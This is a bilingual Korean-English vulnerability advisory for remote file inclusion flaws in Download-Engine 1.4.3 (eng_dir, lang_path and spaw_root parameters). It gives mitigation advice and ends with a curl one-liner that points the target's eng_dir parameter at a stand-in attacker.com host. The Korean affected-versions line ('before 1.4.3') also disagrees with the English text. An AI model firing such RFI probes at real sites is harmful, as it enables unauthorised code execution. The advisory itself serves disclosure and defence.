🇰🇷 한글 설명
Download-Engine 1.4.3의 여러 PHP 원격 파일 포함(RFI) 취약점으로, 공격자가 eng_dir, lang_path, spaw_root 매개변수를 통해 악의적인 PHP 파일을 포함시켜 임의의 코드를 실행할 수 있습니다. 영향받는 파일은 addmember.php, admin/enginelib/class.phpmailer.php, admin/includes/spaw/dialogs/colorpicker.php입니다.
💡 쉬운 설명
해커가 웹사이트에 악의적인 파일 경로를 입력하면, 서버가 그 파일을 실행해버리는 취약점입니다. 이를 통해 해커가 서버를 완전히 제어할 수 있게 됩니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in Download-Engine 1.4.3 allow remote attackers to execute arbitrary PHP code via a URL in the (1) eng_dir parameter to addmember.php, (2) lang_path parameter to admin/enginelib/class.phpmailer.php, and the (3) spaw_root parameter to admin/includes/spaw/dialogs/colorpicker.php, different vectors than CVE-2006-5291 and CVE-2006-5459. NOTE: vector 3 might be an issue in SPAW.
📍 영향받는 시스템
Download-Engine 1.4.3 이전 버전
⚔️ 공격 벡터
URL 매개변수 조작을 통한 원격 파일 포함 (RFI) - 웹 요청에 외부 파일 경로 입력
🛡️ 대응 방법
Download-Engine을 최신 보안 패치가 적용된 버전으로 업그레이드하고, 사용자 입력 검증 및 allow_url_include 비활성화
🔧 검증 코드
명령어 실행 후 공격 URL이 처리되거나 에러가 반환되면 취약, 404나 접근 거부는 안전한 상태
curl -s 'http://target/addmember.php?eng_dir=http://attacker.com/' | grep -E '(php|error|warning)' && echo 'VULNERABLE' || echo 'CHECK_RESPONSE'